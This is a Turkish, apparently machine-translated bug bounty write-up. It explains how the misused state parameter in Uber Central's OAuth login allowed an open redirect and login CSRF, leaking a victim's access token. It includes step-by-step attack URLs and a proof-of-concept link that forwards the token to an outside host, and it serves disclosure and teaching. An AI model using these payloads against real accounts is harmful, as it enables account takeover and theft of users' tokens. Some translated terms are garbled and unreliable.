Uzun bir süredir Uber böceklerini araştırıyorum ve bu, Uber böcek avlama raporuyla ilgili ilk blog yazım, umarım beğenirsiniz.
Buna yanıt olarak cıvıldamak ve bu mükemmel raporla Uber’de bulduğum en eşsiz sorunlardan birini paylaşmaya karar verdim. OAuth Hırsızlığı.
TL;DR
Bu hata, Central.uber.com’dadır; oturum açma mekanizması olarak oauth’u kullanır, ancak CSRF parametresi doğru şekilde kullanılmaz; bu, saldırganın açık yönlendirme gerçekleştirmek ve CSRF’de oturum açmak için yanlış kullanılan durum parametresinden yararlanmasına ve ardından yönlendirmeden sonra URL karmasındaki erişim belirtecini çalmasına olanak tanır.
Central.uber.com’un Giriş Akışı
Bu rapor, birkaç ay önce, Central.uber.com’a giriş akışıyla başlıyor ve kullanıcı, Central.uber.com’da giriş tuşuna bastığında şu şekilde oluyor.
- https://central.uber.com/login?state=/bir yerde
- https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fbir yerde
- https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
- https://central.uber.com/somewhere
Giriş akışını tekrar okumak için biraz zaman ayırın, bu hatayı anlamak için giriş akışını çok iyi bilmeniz gerekir.
Bu giriş akışını gördüğümde, bu akışa saldırmak için ilk denemem, potansiyel bir açık yönlendirme elde etmek için durum değerini /somewhere’den //google.com’a değiştirmek oldu, şimdi akış şu şekilde gidiyor.
- https://central.uber.com/login?state=//google.com
- https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
- https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
- //google.com.tr
Vay be, bu giriş akışını başarıyla açık yönlendirmeye dönüştürdüm; bu, oauth giriş akışı için çok iyi bir başlangıç. Uber açık yönlendirme raporunu kabul etmediği için konuyu daha ilginç bir şeye çevirelim 🙁
Oauth isteği kullanıldığından beri kod yerine jetonyani açık yönlendirmeyle bile bu akıştan hiçbir şey çalamayız. Şimdi isteği değiştiriyoruz kod ile jeton ve bu sefer ne olacağını görün.
- https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
- https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
- Burada yönlendirme yok 🙁
Çünkü geçerli bir durum yok kod 2. adımdan sonra açık yönlendirme olmaması için https://central.uber.com/oauth2-callback değerini kullanın. Açık yönlendirme yoksa bu değerli erişim jetonunu çalmak için yapabileceğimiz hiçbir şey yoktur. Geçici bir çözüme ihtiyacımız var, geçerli bir çözüme ihtiyacımız var kod bunun için oauth2-geri arama uç nokta.
CSRF’ye giriş yapın
CSRF parametresi nedeniyle Login CSRF’nin böyle bir andan faydalanması için artık mükemmel bir an. durum yönlendirme amacı olarak kullanılıyor, artık saldırganımızın kendi geçerli yeminini koyabiliriz kod son noktaya oauth2-geri aramave bunu kurbana gönderin, böylece kurban artık sızdırılan erişim belirteciyle saldırgan tarafından kontrol edilen sayfaya doğru şekilde yönlendirilecektir.
Sınırlama
Bu hatanın tek şartı, kullanıcının zaten login.uber.com’da kimliği doğrulanmış bir oturuma sahip olmasıdır; Central.uber.com resmi bir oauth istemcisi olduğundan, her uber kullanıcısı varsayılan olarak Central.uber.com’un isteklerini kabul edecektir.
PoC
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_rec eipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dsaldırgan_valid_oauth_code&durum=%2F%2fhackerone.com
PoC Giriş Akışı
- https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_rec eipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
- https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
- //hackerone.com#accesstoken={victim_access_token}
Tamamlamak! Okuduğunuz için teşekkürler. Ne düşündüğünü bana bildir, tweet at bana @ngalongc
Güncelleme 2017-08-11: Bu yazıyı kaydettiği için @samidrif’e çok teşekkürler, onu bir kez kaybettim ve kendime bir daha kaybetmeyeceğime söz veriyorum